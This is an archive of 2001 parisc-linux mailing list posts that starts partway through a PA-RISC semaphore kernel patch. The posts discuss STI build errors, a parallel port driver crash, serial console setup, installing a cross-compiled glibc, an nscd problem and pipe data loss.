-        if (sem->write_bias_granted)
-                BUG();
-        if (atomic_read(&sem->writers))
-                BUG();
-        atomic_dec(&sem->readers);
+	if (sem->n_writers)
+		BUG();
+	sem->n_readers++;
 #endif
-        __up_read(sem);
+
+	if (sem->rw_count-- < 0)
+		up_read_wakeup(sem);
+	spin_unlock(&sem->sentry);
 }
 
 extern inline void up_write(struct rw_semaphore *sem)
 {
+	spin_lock(&sem->sentry);
+
 #if WAITQUEUE_DEBUG
-        if (sem->read_bias_granted)
-                BUG();
-        if (sem->write_bias_granted)
-                BUG();
-        if (atomic_read(&sem->readers))
-                BUG();
-        if (atomic_read(&sem->writers) != 1)
-                BUG();
-        atomic_dec(&sem->writers);
+	if (sem->n_readers)
+		BUG();
+	if (sem->n_writers != 1)
+		BUG();
+	sem->n_writers--;
 #endif
-        __up_write(sem);
+
+	sem->rw_count -= RWSEM_WRITER;
+	if (sem->rw_count != 0)
+		up_write_wakeup(sem);
+	spin_unlock(&sem->sentry);
 }
 
 #endif /* _ASM_PARISC_SEMAPHORE_H */




From - Thu Nov 08 21:16:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@deathsdoor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problems compiling STI support
Date: Fri, 9 Feb 2001 02:39:08 +0100 (CET)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102090236360.25675-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619855 15238 80.91.229.3 (22 Nov 2014 01:30:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  8 18:39:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sgate.charlysworld.de (pD95055C6.dip.t-dialin.net [217.80.85.198])
	by dsl2.external.hp.com (Postfix) with ESMTP id 928264A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 18:39:17 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.11.0/8.11.0) with ESMTP id f191d8d25749
	for <parisc-linux@lists.parisc-linux.org>; Fri, 9 Feb 2001 02:39:09 +0100
X-Authentication-Warning: sgate.charlysworld.de: xam owned process doing -bs
X-Sender: xam@sgate.charlysworld.de
Xref: news.gmane.org gmane.linux.ports.parisc:10217

If I enable STI console support and/of STI fbcon support,
I got the following error:

error: can't find sti.h

well, I don't have any sti.h in the kernel source (current CVS).

Well, hope that helps!

cu max






From - Thu Nov 08 21:16:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@deathsdoor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ASP Parallel port driver broken on HP9000/730
Date: Fri, 9 Feb 2001 03:04:44 +0100 (CET)
Lines: 54
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102090239110.25675-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619856 15240 80.91.229.3 (22 Nov 2014 01:30:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  8 19:04:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sgate.charlysworld.de (pD95055C6.dip.t-dialin.net [217.80.85.198])
	by dsl2.external.hp.com (Postfix) with ESMTP id E67764A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 19:04:45 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.11.0/8.11.0) with ESMTP id f1924iY26349
	for <parisc-linux@lists.parisc-linux.org>; Fri, 9 Feb 2001 03:04:44 +0100
X-Authentication-Warning: sgate.charlysworld.de: xam owned process doing -bs
X-Sender: xam@sgate.charlysworld.de
Xref: news.gmane.org gmane.linux.ports.parisc:10218

Hello there,

As I said before (in another mail), the ASP parallel port driver
is broken: the kernel hangs (lastest CVS, one hour ago).
Everything's fine just without ASP parallel port driver!

Unfortunately I don't know how to redirect the kernel output
to the serial console, so I can give you only some hints...



parport_init_chip: initializing bidirectional mode.

The kernel makes a memory dump from 0000 to 097f,
then:

High Priority Machine Check (HPMC): Code=1 regs=c034a080 (Addr=00000000)

Then follows a dump of the processor registers:

PSW: 00000000000001000000000000001111
r0-3   00000000 c02eb800 c0246328 c1f30788
r4-7   0000002c c1fe5220 f0824800 ffffffdf
r8-11  ffffffff 00000000 0004000e c037d8b0
r12-15 000a5a59 000ff000 f0000124 00000000
r16-19 00000001 50000059 0a000a00 0000000f
r20-23 000000ff 00000041 c1fdc000 0000000f
r24-27 ffffffff f0824800 f0824800 c0342000
r28-31 00000034 00000800 c1fe0980 c012a7dc
sr0-3  00000000 00000000 00000000 00000000
sr4-7  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c026e458 c026e458
 IIR: e840c000     ISR: 00000000   IOR: c0246328
ORIG_R28: 00000000


NB: i typed all this stuff, no copy'n'paste; so perhaps
there are some errors ... 

BTW, no HIL connected, just serial console (but since
the kernel hangs before, i cannot see any output :))).
No PC parport selected, no support for foreign h/w,
no IEEE 1284 transfer modes ...)


hope that helps!


greetings max





From - Thu Nov 08 21:16:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP Parallel port driver broken on HP9000/730
Date: Thu, 08 Feb 2001 19:38:38 -0800
Lines: 72
Approved: news@gmane.org
Message-ID: <200102090338.TAA07555@milano.cup.hp.com>
References: <Pine.LNX.4.21.0102090239110.25675-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619856 15242 80.91.229.3 (22 Nov 2014 01:30:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@deathsdoor.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  8 20:36:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77DAA4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 20:36:16 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id CD122883; Thu,  8 Feb 2001 19:36:15 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id TAA07555;
	Thu, 8 Feb 2001 19:38:45 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 09 Feb 2001 03:04:44 PST."
             <Pine.LNX.4.21.0102090239110.25675-100000@sgate.charlysworld.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:10219

"M. Grabert" wrote:
> Unfortunately I don't know how to redirect the kernel output
> to the serial console, so I can give you only some hints...

Hints on using serial console on 715 (you can search the archive
for lots more 715 hints):

a) disable CONFIG_STI_CONSOLE
b) enabled CONFIG_SERIAL=y
           CONFIG_SERIAL_CONSOLE=y
           CONFIG_SERIAL_GSC=y

c) connect x86 serial to port 1 of 715 and run minicom with 9600 8N1
   serial line settings.
d) Disconnect HIL keyboard and Mouse.
   (*or* hold the TOC button for about 10 seconds while powering on the box.)
   (Either should force the PDC to use serial port 1)

> parport_init_chip: initializing bidirectional mode.
> 
> The kernel makes a memory dump from 0000 to 097f,
> then:
> 
> High Priority Machine Check (HPMC): Code=1 regs=c034a080 (Addr=00000000)
> 
> Then follows a dump of the processor registers:
> 
> PSW: 00000000000001000000000000001111
> r0-3   00000000 c02eb800 c0246328 c1f30788
> r4-7   0000002c c1fe5220 f0824800 ffffffdf
> r8-11  ffffffff 00000000 0004000e c037d8b0
> r12-15 000a5a59 000ff000 f0000124 00000000
> r16-19 00000001 50000059 0a000a00 0000000f
> r20-23 000000ff 00000041 c1fdc000 0000000f
> r24-27 ffffffff f0824800 f0824800 c0342000
> r28-31 00000034 00000800 c1fe0980 c012a7dc
> sr0-3  00000000 00000000 00000000 00000000
> sr4-7  00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: c026e458 c026e458
>  IIR: e840c000     ISR: 00000000   IOR: c0246328
> ORIG_R28: 00000000

IOAQ is the address of the instruction that the CPU
was trying to execute when the HPMC occurred.
IIR is the instruction at IOAQ.
echo 0xe840c000=i | adb   says:
		BV              r0(r2)

GR02 is the most recent subroutine call return addr.
(Typically the caller).

So look up c026e458 and c0246328 in your System.map.
You can at least figure out about where it's crashing.
(Hint: cvs co build-tools and look at a.c)

> NB: i typed all this stuff, no copy'n'paste; so perhaps
> there are some errors ... 
> 
> BTW, no HIL connected, just serial console (but since
> the kernel hangs before, i cannot see any output :))).

Wait. If PDC is printing to the serial console...I'm confused.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target root
 file system
Date: Fri, 9 Feb 2001 14:56:37 +1100 (EST)
Lines: 72
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102091056000.9776-100000@front.linuxcare.com.au>
References: <3A83226E.A3A77F70@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619856 15247 80.91.229.3 (22 Nov 2014 01:30:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  8 20:56:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8EEE64A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 20:56:43 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA13350;
	Fri, 9 Feb 2001 14:56:37 +1100
In-Reply-To: <3A83226E.A3A77F70@dot.at>
Xref: news.gmane.org gmane.linux.ports.parisc:10220

On Thu, 8 Feb 2001, Christoph Plattner wrote:

> After the glibc builts perfect, I have a problem in setting up the root
[snip]
> with page fault or with "cannot find libc.6.so". Only the root of the
[snip]

"with page fault" is possibly due to the glibc bug I mentioned in
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-February/011686.html

"cannot find libc.so.6" is a different problem, a result of
cross-compiling glibc with --prefix different to final install location.
Let's see if I can explain the problem...

Suppose you want to cross-compile the toolchain and glibc from an
i686-linux system, and you have chosen --target=hppa-linux.  Further
suppose you decide to install to /usr/ on your host x86 system (This 
does work safely, despite various recipes recommending /usr/parisc,
or /opt/parisc).  Now when cross-compiling glibc, you obviously _don't_
want to install glibc on your host to /usr, as the glibc you create is an
hppa-linux binary, which doesn't run very well on x86-linux!  So the
proper install destination for glibc is given by --prefix=/usr/hppa-linux.
This is also the root of directories where your hppa-linux cross-tools
will look first for libraries and system header files etc.  If you chooes
some other prefix (ie. not <compiler prefix>/<compiler target>) then
you'll have problems cross compiling.

However, trying to install the glibc that works for a cross-compiler
tool-chain to your target system, at a different location, fails
miserably because shared libraries specify where to look for their
"interpreter" (dynamic linker).  Your cross-compiled glibc will be looking
for /usr/hppa-linux/lib/ld.so.1, while a native glibc will look for
/lib/ld.so.1.  Also, a cross-compiled dynamic linker knows to look under
/usr/hppa-linux/ for libraries and ld.so.cache.  On the other hand, you
probably want your libraries in their normal locations so that you don't
accidentally use the wrong library.

Of course, it's very useful to be able to install your cross-compiled
glibc to your target :-), and hopefully the above explanation suggests one
way around the problems:
 - Install your glibc to a temp dir on your nfs server
   eg. "make install_root=/var/tmp/install"
 - Move files from /var/tmp/install to /tftpboot/<proper locataion>
   It helps if you know what <proper location> is!  Compile glibc native
   for x86 and install to another temp dir if you don't know.
 - Make relative symbolic links in /tftpboot/.../usr/hppa-linux/lib/ to
   the shared libs you installed to /tftpboot/.../lib/
 - ln -s ../../etc /tftpboot/.../usr/hppa-linux/etc too
 - What else?  Oh yeah, /usr/lib/libc.so and some of the files installed
   to /usr/bin/ are text files, and some have paths to    /usr/hppa-linux.
   Edit them.

It would be nice if you could cross-compile glibc with --prefix=/usr, but
last time I tried this, quite some time ago, it failed because
/usr/include/ was being used for headers.  Maybe there's an easy way
around this.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.













From - Thu Nov 08 21:16:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems compiling STI support
Date: Fri, 9 Feb 2001 12:07:17 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <01020909132400.30834@P100.helgenet.de>
References: <Pine.LNX.4.21.0102090236360.25675-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619857 15253 80.91.229.3 (22 Nov 2014 01:30:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  9 04:05:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 5B02C4A19
	for <parisc-linux@parisc-linux.org>; Fri,  9 Feb 2001 04:04:59 -0700 (MST)
Original-Received: (qmail 21884 invoked by uid 0); 9 Feb 2001 11:04:57 -0000
Original-Received: from pd904037a.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.122)
  by mail.gmx.net (mail07) with SMTP; 9 Feb 2001 11:04:57 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <Pine.LNX.4.21.0102090236360.25675-100000@sgate.charlysworld.de>
Xref: news.gmane.org gmane.linux.ports.parisc:10221

On Friday 09 February 2001 02:39, M. Grabert wrote:
> If I enable STI console support and/of STI fbcon support,
> I got the following error:
>
> error: can't find sti.h
> well, I don't have any sti.h in the kernel source (current CVS).

Hi Max,

I fixed that 20 minutes before you wrote this mail.
But please don't try to compile STI framebuffer - it won't work yet.

Greetings,

	Helge.




From - Thu Nov 08 21:16:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] minilibc CVS module
Followup-To: gmane.linux.ports.hppa
Date: Fri, 9 Feb 2001 21:43:57 +0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20010209214354.K20585@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619857 15254 80.91.229.3 (22 Nov 2014 01:30:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:57 +0000 (UTC)
To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  9 06:44:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-02.iinet.net.au [203.59.24.17])
	by dsl2.external.hp.com (Postfix) with SMTP id 2EA0A4A19
	for <parisc-linux@parisc-linux.org>; Fri,  9 Feb 2001 06:44:23 -0700 (MST)
Original-Received: (qmail 8330 invoked by uid 666); 9 Feb 2001 13:44:07 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.183.96)
  by mail.iinet.net.au with SMTP; 9 Feb 2001 13:44:07 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id VAA28029
	for parisc-linux@parisc-linux.org; Fri, 9 Feb 2001 21:44:02 +0800
Mail-Followup-To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:10222

I have the 'minilibc' module checked out of CVS.  It doesn't seem to
have been updated in the last 8 months.  Is this thing dead, or just
resting?  Pining for the fjords, perhaps.

Not that I can even remember why I have it checked out in the first
place ... hmm.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:16:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@deathsdoor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP Parallel port driver broken on HP9000/730
Date: Fri, 9 Feb 2001 14:45:19 +0100 (CET)
Lines: 55
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102091426380.9525-100000@sgate.charlysworld.de>
References: <200102090338.TAA07555@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619857 15258 80.91.229.3 (22 Nov 2014 01:30:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  9 06:46:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sgate.charlysworld.de (pD950591E.dip.t-dialin.net [217.80.89.30])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6EA114A19
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Feb 2001 06:46:23 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.11.0/8.11.0) with ESMTP id f19DjJU10025
	for <parisc-linux@lists.parisc-linux.org>; Fri, 9 Feb 2001 14:46:16 +0100
X-Authentication-Warning: sgate.charlysworld.de: xam owned process doing -bs
X-Sender: xam@sgate.charlysworld.de
In-Reply-To: <200102090338.TAA07555@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10223

On Thu, 8 Feb 2001, Grant Grundler wrote:

> Hints on using serial console on 715 (you can search the archive
> for lots more 715 hints):
> 
> a) disable CONFIG_STI_CONSOLE
> b) enabled CONFIG_SERIAL=y
>            CONFIG_SERIAL_CONSOLE=y
>            CONFIG_SERIAL_GSC=y
> 
> c) connect x86 serial to port 1 of 715 and run minicom with 9600 8N1
>    serial line settings.
> d) Disconnect HIL keyboard and Mouse.
>    (*or* hold the TOC button for about 10 seconds while powering on the box.)
>    (Either should force the PDC to use serial port 1)

sorry about the confusing error report.
I'm actually using serial console, with the configuration above;
but the initial kernel messages are not redirected to the serial console.
not until the serial ports are found & initialized ...
... but since these kernel messages are printed before the time the
serial ports are recognized, I can't see them on the terminal, but on the
monitor.
My question was, whether there is a kernel parameter (i can pass to palo),
which redirects ALL kernel messages from the beginning to the serial port
(before they are regognized by the linux kernel). 

> GR02 is the most recent subroutine call return addr.
> (Typically the caller).
> 
> So look up c026e458 and c0246328 in your System.map.
> You can at least figure out about where it's crashing.
> (Hint: cvs co build-tools and look at a.c)

I'll do this tonight ...
 
> > NB: i typed all this stuff, no copy'n'paste; so perhaps
> > there are some errors ... 
> > 
> > BTW, no HIL connected, just serial console (but since
> > the kernel hangs before, i cannot see any output :))).

... on the serial console, hence the serial ports are not initialized,
but i can see the messages on the monitor! therefore I had to type
all the register dump by hand ...

> Wait. If PDC is printing to the serial console...I'm confused.

I hope you're not confused anymore ;)

greetings, max





From - Thu Nov 08 21:16:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP Parallel port driver broken on HP9000/730
Date: Fri, 9 Feb 2001 15:48:31 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <01020915420103.32355@P100.helgenet.de>
References: <Pine.LNX.4.21.0102091426380.9525-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619858 15260 80.91.229.3 (22 Nov 2014 01:30:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  9 07:46:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 70E194A19
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Feb 2001 07:46:38 -0700 (MST)
Original-Received: (qmail 6850 invoked by uid 0); 9 Feb 2001 14:46:36 -0000
Original-Received: from pd904037a.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.122)
  by mail.gmx.net (mail09) with SMTP; 9 Feb 2001 14:46:36 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <Pine.LNX.4.21.0102091426380.9525-100000@sgate.charlysworld.de>
Xref: news.gmane.org gmane.linux.ports.parisc:10224

On Friday 09 February 2001 14:45, M. Grabert wrote:
>
> sorry about the confusing error report.
> I'm actually using serial console, with the configuration above;
> but the initial kernel messages are not redirected to the serial console.
> not until the serial ports are found & initialized ...
> ... but since these kernel messages are printed before the time the
> serial ports are recognized, I can't see them on the terminal, but on the
> monitor.
> My question was, whether there is a kernel parameter (i can pass to palo),
> which redirects ALL kernel messages from the beginning to the serial port
> (before they are regognized by the linux kernel).

on the IPL screen type 

PATH CONSOLE RS232_1
*or*
PATH CONSOLE SERIAL_1

At the next boot PDC will redirect all PDC-messages to the first serial port 
and you will able to boot your PARISC through minicom.

Helge


BTW: Max, your domain doesn't seem to resolve 
	("M. Grabert" <xam@deathsdoor.com>)!
bash-2.04$ nslookup deathsdoor.com
Server:  devserv.devel.redhat.com
*** devserv.devel.redhat.com can't find deathsdoor.com: Non-existent 
host/domain




From - Thu Nov 08 21:16:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] nscd and new glibc on parisc-linux
Date: Fri, 9 Feb 2001 08:09:21 -0700 (MST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200102091509.IAA08530@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619858 15263 80.91.229.3 (22 Nov 2014 01:30:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  9 08:09:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 907924A19
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Feb 2001 08:09:22 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id CA532C9D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Feb 2001 10:09:21 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id IAA08530 for parisc-linux@lists.parisc-linux.org; Fri, 9 Feb 2001 08:09:21 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:10225

I checked in changes to fix the clone system call into our local cvs copy
of glibc. HOWEVER, you should not build a new glibc and install it at
this point, unless you move /usr/sbin/nscd out of the way (and a
"make install" of glibc will put another one in its place, so do the
move after the install).

The problem is that nscd uses pthreads. Before the clone system call
was fixed, pthread_create() failed in a way that was not fatal to
nscd. Now pthread_create() core dumps, because the pthread library
routines currently have hard coded assumptions about which direction
the stack grows. I'll be fixing that in the near future.

If you leave nscd in place you will not be able to log in to your
machine. If you are using an nfs root you can fix this, but it will
be a little more difficult to fix if you are booting off of a local
disk.

John




From - Thu Nov 08 21:16:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pipes
Date: Sat, 10 Feb 2001 02:29:50 +1100 (EST)
Lines: 95
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102100106450.27808-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619858 15264 80.91.229.3 (22 Nov 2014 01:30:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  9 08:29:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 847564A19
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Feb 2001 08:29:52 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id CAA01387
	for <parisc-linux@lists.parisc-linux.org>; Sat, 10 Feb 2001 02:29:50 +1100
Xref: news.gmane.org gmane.linux.ports.parisc:10226

Would anyone like to hazard a guess as to whether pipes work OK?

The fixincludes problem I'm seeing with devel branch gcc builds looks like
a loss of data in a pipe.  fixincl does a fairly standard trick of opening
a pipe(2) to a fork & exec'd shell, and by putting a little debugging code
in I see some fishy commands in the shell.

Good debug info looks like:

==
case hppa-unknown-linux-gnu in
*-*-sysv4* | \
i?86-*-sysv5* | \
i?86-*-udk* | \
i?86-*-solaris2.[0-4] | \
powerpcle-*-solaris2.[0-4] | \
sparc-*-solaris2.[0-4] )
    echo run ;;
* ) echo skip ;;
esac
==
cd /usr/include
case hppa-unknown-linux-gnu in
*-*-sysv4* | \
i?86-*-sysv5* | \
i?86-*-udk* | \
i?86-*-solaris2.[0-4] | \
powerpcle-*-solaris2.[0-4] | \
sparc-*-solaris2.[0-4] )
    echo run ;;
* ) echo skip ;;
esac

echo
